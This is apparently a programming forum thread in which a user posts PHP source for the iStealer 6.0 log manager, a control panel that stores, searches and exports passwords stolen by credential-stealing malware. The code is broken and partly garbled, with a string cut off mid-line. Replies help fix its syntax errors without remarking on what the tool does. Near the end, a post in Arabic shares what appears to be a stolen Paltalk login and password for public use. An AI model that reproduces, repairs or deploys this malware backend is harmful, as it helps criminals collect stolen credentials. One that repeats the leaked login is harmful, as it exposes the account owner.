<?php
	// CONFIGURATION ******************************************************************************

   $dbHost     = "Example.com";		// MySQL host
   $dbUser     = "shen";	// MySQL username
   $dbPass     = "XXXXXXX";	// MySQL password
   $dbDatabase = "shen_080892";	// MySQL database name
	
   $username   = "shen08089296";		// Login Username
   $password   = "XXXXXX";		// Login Password
   
   $logspage   = 100;			// Number of logs per page
	
	// ********************************************************************************************

	$html       = "<html><head><title>iStealer 6.0 Legends Log manager - ";
	$header     = "</title><link rel='stylesheet' type='text/css' href='style.css'/></head><body>
				<div id='web'><div id='header'><b>Hello, ".$username."</b></div><div id='navigation'><ul>
				<li><a href='?action=logs'>Show All Logs</a></li><li><a href='?action=search'>Search</a></li>
				<li><a href='?action=exportall'>Export All Logs</a></li>
				<li><a href='?action=logout'>Logout</a></li></ul></div><br>";
	$footer     = "<div id='footer'>iStealer 6.0 Legends - Kizar Labs 2009</div></div></body></html>";
	$searchform = "<form name='search' method='POST' action='?action=search'>
				Search for: <input type='text' name='q' size='20'> In: <select name='in'>
				<option selected='selected' value='1'>Url</option><option value='2'>Login</option>
				<option value='3'>Password</option><option value='4'>Computer</option>
				<option value='5'>Date</option><option value='6'>Ip</option></select>
				<input type='submit' value='Search' name='search'></form>";
	$loginform  = "<form id='loginform' name='frm' method='POST' action='?action=login'>
				<table id='logintable' cellpadding='0' cellspacing='10' border='0'>
				<tr><td>Username:</td><td><input type='text' name='username' size='20'></td></tr>
				<tr><td>Password:</td><td><input type='password' name='password' size='20'></td></tr>
				<tr><td></td><td><input type='submit' value='Login' name='login'></td></tr></form>";
	$javascript  = "<script language='javascript' type='text/javascript'>
				function checkAll() { chk = document.getElementsByName('sel[]');
				for (i = 0; i<chk.length; i++) { if (document.frm.elements['check_all'].checked) chk[i].checked = true; else chk[i].checked = false;}}
				function checkform() { chk = document.getElementsByName('sel[]'); for (i = 0; i<chk.length; i++) { if (chk[i].checked == true) { 
				return true;}} alert('At least one option must be select.'); return false; }
				function confirmation() { return confirm('Are you sure you want to delete all selected logs?');}</script>";
	$aplications = array("MSN Messenger", "Google talk", "Trillian/MSN", "Trillian/AIM", "Trillian/Yahoo", "Pidgin/Gaim", "Paltalk Scene", "Steam",
					"No-Ip" , "DynDNS", "Firefox", "Internet Explorer", "Google Chrome", "Opera", "IDM", "FileZilla", "FlashFXP", "SmartFtp", "CuteFtp");
	$cols        = array("program", "url", "login", "pass", "computer", "date", "ip");

	// FUNCTIONS ******************************************************************************
	function connect_database() {
		global $dbHost, $dbUser, $dbPass, $dbDatabase, $html, $header, $footer;
		$mysql = mysql_connect($dbHost, $dbUser, $dbPass);
		if (!$mysql) {
			$html .= "Database Error".$header."Can not connect to database, please check the configuration.".$footer;
			die($html);
		}
		if (!mysql_select_db($dbDatabase, $mysql)) {
			mysql_close($mysql);
			$html .= "Database Error".$header."Can not select '".$dbDatabase."' database, please check the configuration.".$footer;
			die($html);
		}
		return $mysql;
	
				$html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
				$html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
				$html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
				$i++;
			}
			$html .= "</table><div id='pages'><div id='numbers'>".pages_number($logstotal, $logspage)."</div><div id='buttons'><input name='buttonact' 
			type='s
				while ($row = mysql_fetch_array($result)) {
					$html .= "<tr class='";
					if ($i % 2 == 0) $html .= "row1"; else $html .= "row2";
					$html .= "'><td>".$aplications[$row["program"]]."</td>";
					$html .= "<td><a href='".$row["url"]."' target='_blanc'>".$row["url"]."</a></td><td>".$row["login"]."</td><td>".$row["pass"]."</td>";
					$html .= "<td>".$row["computer"]."</td><td>".$row["date"]."</td><td>".$row["ip"]."</td>";
					$html .= "<td><input type='checkbox' name='sel[]' value='".$row["id"]."'></td></tr>";
					$i++;
				}
				$html .= "</table><div id='pages'><div id='numbers'>".mysql_num_rows($result)." results for '".$_POST["q"]."'</div><div id='buttons'>
				<input name='buttonact' type='submit' value='Copy Selected'> <input name='buttonact' type='submit' value='Export Selected'> 
				<input name='buttonact' type='submit' value='Delete Selected' onclick='if (!confirmation()) return false;'></div></div></form>".$footer;
			} else {
				$html .= "Search".$header.$searchform."<br>No results found!".$footer;
			}
			mysql_close($mysql);
		} else {
			$html .= "Search".$header.$searchform.$footer;
		}
		echo $html;
	
	// EXPORT ALL ************************************************************************************
	} elseif ($_GET["action"] == "exportall") {
		header("Content-Type: text/plain");
		header("Content-Disposition: Attachment; filename=iStealer_6.0_export.txt");
		header("Pragma: no-cache");
		
		$mysql = connect_database();
		$result = mysql_query("SELECT * FROM `logs`;", $mysql);
		if (!$result) die(mysql_error());
		
		while ($row = mysql_fetch_array($result)) {
			echo "Program:\t".$aplications[$row['program']]."\r\n";
			echo "Url/Host:\t".$row['url']."\r\n";
			echo "Login:\t\t".$row['login']."\r\n";
			echo "Password:\t".$row['pass']."\r\n";
			echo "Computer:\t".$row['computer']."\r\n";
			echo "Date:\t\t".$row['date']."\r\n";
			echo "Ip:\t\t\t".$row['ip']."\r\n";
			echo "----------------------------------------------------------\r\n";
		}
		mysql_close($mysql);
	
	// SELECTED **************************************************************************************
	} elseif ($_GET["action"] == "selected") {
		if (isset($_POST["buttonact"]) && isset($_POST["sel"]) && count($_POST["sel"])!=0) {

			// DELETE SELECTED ***********************************************************************
			if ($_POST["buttonact"] == "Delete Selected") {
				$mysql = connect_database();
				$query = "DELETE FROM `logs` WHERE";
				for ($i=0; $i<count($_POST["sel"]); $i++) {
					if (is_numeric($_POST["sel"][$i]))
						$query .= " `id` = ".$_POST["sel"][$i]." OR";
				}
				$query .= ';';
				$query = str_replace(' OR;', ';', $query);
				$result = mysql_query($query, $mysql);
				if (!$result) die(mysql_error());
				mysql_close($mysql);
				header("Location: ?action=logs");

			// EXPORT SELECTED ***********************************************************************
			} elseif ($_POST["buttonact"] == "Export Selected") {
				header("Content-Type: text/plain");
				header("Content-Disposition: Attachment; filename=iStealer_6.0_export.txt");
				header("Pragma: no-cache");
				$mysql = connect_database();
				$query = "SELECT * FROM `logs` WHERE";
				for ($i=0; $i<count($_POST["sel"]); $i++) {
					if (is_numeric($_POST["sel"][$i]))
						$query .= " `id` = ".$_POST["sel"][$i]." OR";
				}
				$query .= ';';
				$query = str_replace(' OR;', ';', $query);
				$result = mysql_query($query, $mysql);
				if (!$result) die(mysql_error());
				while ($row = mysql_fetch_array($result)) {
					echo "Program:\t".$aplications[$row['program']]."\r\n";
					echo "Url/Host:\t".$row['url']."\r\n";
					echo "Login:\t\t".$row['login']."\r\n";
					echo "Password:\t".$row['pass']."\r\n";
					echo "Computer:\t".$row['computer']."\r\n";
					echo "Date:\t\t".$row['date']."\r\n";
					echo "Ip:\t\t\t".$row['ip']."\r\n";
					echo "----------------------------------------------------------\r\n";
				}
				mysql_close($mysql);

			// COPY SELECTED *************************************************************************
			} elseif ($_POST["buttonact"] == "Copy Selected") {
				$mysql = connect_database();
				$query = "SELECT `login`, `pass` FROM `logs` WHERE";
				for ($i=0; $i<count($_POST["sel"]); $i++) {
					if (is_numeric($_POST["sel"][$i]))
						$query .= " `id` = ".$_POST["sel"][$i]." OR";
				}
				$query .= ';';
				$query = str_replace(' OR;', ';', $query);
				$result = mysql_query($query, $mysql);
				if (!$result) die(mysql_error());
				$html .= "Copy".$header."<table id='searchtable' cellpadding='2' cellspacing='0' border='0'><tr class='row1'><td>";
				while ($row = mysql_fetch_array($result))
					$html .= $row['login'].":".$row['pass']."<br>";
				mysql_close($mysql);
				$html .= "</td></tr></table><br>".$footer;
				echo $html;
			}
		}
	} else {
		$html .= "Unexpected Error".$header."Unexpected Error".$footer;
		echo $html;
	}
?>

The error log says this :

PHP Parse error: syntax error, unexpected T_CLASS in /home/shen/public_html/index.php on line 67

You don't close your statement that starts on line 64. Look at lines 65 and 66:

65. type='s
66. while ($row = mysql_fetch_array($result)) {

I'm not sure where you're going on line 65 (I think a submit button), but you need to close it up with something like type='submit' />"; . As it stands right now, you're missing the ending quote after type='s , the ending double-quote to finish the string you're adding to $html , and the semi-colon to end the statement. The parser thinks the while command is part of the type attribute of your submit button.

I did what you said and Now the error log shows :


Parse error: syntax error, unexpected '}' in /home/shen/public_html/index.php on line 78

You'll probably get a lot of these parsing errors, it's common. As you fix one, the parser will keep finding them until they're all fixed. Go through your code and make sure you have semi-colons, quotes, double-quotes, parentheses, brackets, and braces closing off everything they should be. This particular error probably means you're missing a semi-colon or some such character somewhere in the vicinity of line 78. It's complaining that it found a '}' in a place it shouldn't be -- meaning you haven't closed a previous statement correctly. I'll take a look at it in a second.

What program are you using to script, by the way? You should use one with syntax highlighting, and better yet, one that highlights pairs of braces, brackets, parentheses, etc., so you can associate these characters with their appropriate counterparts more easily.

Question: Did you get this code from some other site and copy and paste it in pieces? It's obvious there are sections missing from this code, just like the one I pointed out in my first post. This is more than just a problem of typos and forgetting to close statements -- you're missing chunks of code, and I can't help there because I don't know what it's supposed to do. I've found tons of errors in this code, such as the function being closed prematurely, if I start trying to correct this now it would take way too long. Currently you have a closing brace } on line 78 right before an else statement -- but the problem is you don't have an if statement before it. You're missing an if statement somewhere within your connect_database() function. I'd say it should be at around line 58. Not to mention that line 57 says return $mysql . A return statement will exit the function, so it should be inside a conditional (a.k.a. "if") statement. Otherwise this function will never execute the code after the return statement. In addition, your function ends prematurely on 63... You really need to check on your curly braces and fill in the missing if statements.

Member Avatar for rajarajan2017

Three (3) opening braces are missing. Please identify the opening and closing braces are formed properly.

Yes, I edited the index.php file using notepad..I don`t know What to do..Nevermine sir, I will go and read the php book..Please suggest to me if you have any website related to this..

حساب للبالتوك مهكر او مخترق للاستعمال العام للعرب والمحتاجين
Program: Paltalk Scene Url/Host: Login: shaniya turk Password: food09 Computer: Date: 2015 Ip:

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.